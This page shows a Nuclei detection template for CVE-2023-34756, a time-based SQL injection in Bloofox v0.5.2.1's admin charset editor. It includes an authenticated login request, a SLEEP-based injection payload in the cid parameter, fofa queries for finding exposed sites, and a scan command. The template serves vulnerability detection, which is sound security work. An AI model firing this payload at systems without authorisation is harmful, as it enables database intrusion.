Bloofox v0.5.2.1 - SQL Injection

ID: CVE-2023-34756

Severity: critical

Author: theamanrawat

Tags: time-based-sqli,cve,cve2023,sqli,bloofox,authenticated

Description

Bloofox v0.5.2.1 was discovered to contain a SQL injection vulnerability via the cid parameter at admin/index.php?mode=settings&page=charset&action=edit.

YAML Source

id: CVE-2023-34756

info:
  name: Bloofox v0.5.2.1 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    Bloofox v0.5.2.1 was discovered to contain a SQL injection vulnerability via the cid parameter at admin/index.php?mode=settings&page=charset&action=edit.
  reference:
    - https://ndmcyb.hashnode.dev/bloofox-v0521-was-discovered-to-contain-many-sql-injection-vulnerability
    - https://www.bloofox.com
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34756
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-34756
    cwe-id: CWE-89
    epss-score: 0.0257
    epss-percentile: 0.90221
    cpe: cpe:2.3:a:bloofox:bloofoxcms:0.5.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: bloofox
    product: bloofoxcms
    fofa-query:
      - "Powered by bloofoxCMS"
      - powered by bloofoxcms
  tags: time-based-sqli,cve,cve2023,sqli,bloofox,authenticated

http:
  - raw:
      - |
        POST /admin/index.php HTTP/2
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&action=login
      - |
        @timeout: 10s
        POST /admin/index.php?mode=settings&page=charset&action=edit HTTP/2
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        name=ISO-8859-1&description=&cid=2'+AND+(SELECT+7401+FROM+(SELECT(SLEEP(6)))hwrS)--+&send=Save

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - status_code == 200
          - contains(header, "text/html")
          - contains(body_2, 'Admincenter')
        condition: and
# digest: 4a0a00473045022034a659bfd37fab9230670ee776fe1b824c5fd1bffdcfaa266647d11c7d757f83022100c8600043b19dee873e34f4bb1c28f62dbbeea34eb399b4fdb4801f635f3840d1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-34756.yaml"

View on Github